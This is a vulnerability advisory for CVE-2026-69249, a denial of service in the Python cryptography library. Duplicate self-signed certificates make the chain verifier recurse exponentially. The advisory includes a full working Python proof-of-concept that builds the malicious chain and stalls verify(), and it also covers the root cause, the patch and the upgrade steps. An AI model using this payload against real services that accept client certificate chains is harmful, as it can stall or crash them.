highCVE-2026-69249Aug 3, 2026

CVE-2026-69249: cryptography Exponential Certificate Chain DoS

Rohit Hatagale
AI Security Researcher, SecureLayer7

Passing duplicate self-signed certificates to the cryptography library's chain verifier triggers exponential recursion, letting anyone who can supply a certificate chain stall or crash a Python…

Packagecryptography
Ecosystempip
Affected<= 48.0.0
Fixed in49.0.0
CVE-2026-69249: cryptography Exponential Certificate Chain DoS

The problem

The Rust-backed build_chain_inner function in cryptography iterates every potential issuer for each working certificate without tracking which issuers it has already recursed into. When a chain contains duplicate copies of the same self-signed CA, the function re-enters itself once per duplicate at every depth level.

The depth cap prevents infinite loops, but the work still grows as O(d^n) where d is max chain depth and n is the number of duplicates. In testing, four duplicates at depth 8 produces a timeout; five duplicates at depth 7 does the same. Any application that passes user-supplied intermediates to PolicyBuilder.build_server_verifier().verify() is directly exposed.

Proof of concept

A working proof-of-concept for CVE-2026-69249 in cryptography, with the exact payload below.

python
import datetime
import multiprocessing
import time

from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import DNSName, PolicyBuilder, Store, VerificationError

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)

def name(cn):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])

def make_ca(cn, serial):
    key = ec.generate_private_key(ec.SECP256R1())
    cert = (
        x509.CertificateBuilder()
        .subject_name(name(cn)).issuer_name(name(cn))
        .public_key(key.public_key()).serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(
            x509.KeyUsage(True,False,False,False,False,True,True,False,False), True
        )
        .sign(key, hashes.SHA256())
    )
    return key, cert

def make_leaf(issuer_key, issuer_cert):
    key = ec.generate_private_key(ec.SECP256R1())
    return (
        x509.CertificateBuilder()
        .subject_name(name("leaf")).issuer_name(issuer_cert.subject)
        .public_key(key.public_key()).serial_number(100)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()), False
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

looping_key, looping_ca = make_ca("looping self-signed CA", 1)
_, unrelated_root = make_ca("unrelated trust anchor", 2)
leaf = make_leaf(looping_key, looping_ca)

verifier = (
    PolicyBuilder()
    .store(Store([unrelated_root]))
    .time(NOW)
    .max_chain_depth(8)
    .build_server_verifier(DNSName("example.com"))
)

# Pass 4 copies of the same self-signed intermediate.
# On cryptography <= 48.0.0 this hangs/times out (>5 s).
start = time.perf_counter()
try:
    verifier.verify(leaf, [looping_ca] * 4)
except VerificationError:
    pass
print(f"elapsed: {time.perf_counter() - start:.3f}s")

The root cause (CWE-400) is in build_chain_inner inside src/rust/src/x509/verify.rs. For each candidate issuer that passes valid_issuer, the function recurses immediately without checking whether that issuer was already visited in the current call frame.

Duplicate entries in the intermediates list are each seen as fresh candidates, so the recursion fans out exponentially with the number of duplicates.

The patch (commit 4a12cf4, PR #14960) adds a seen_valid_issuers vector. After a candidate passes valid_issuer, the code checks whether it is already in that vector. If it is, the candidate is skipped; otherwise it is pushed and recursion proceeds. Validation callbacks still run before the deduplication check, so custom extension policies are unaffected.

The fix

Upgrade to cryptography >= 49.0.0 (pip install -U cryptography). The fix is in commit 4a12cf49675a184e47f912b00b04f3a629283582, merged via PR #14960. If you cannot upgrade immediately, reject or cap the number of intermediates accepted from untrusted callers before passing them to verify().

Reported by Trail of Bits (identified by OpenAI Codex agent, manually reviewed by Trail of Bits engineers, as part of the Patch The Planet project).

References: [1][2][3][4]

Related research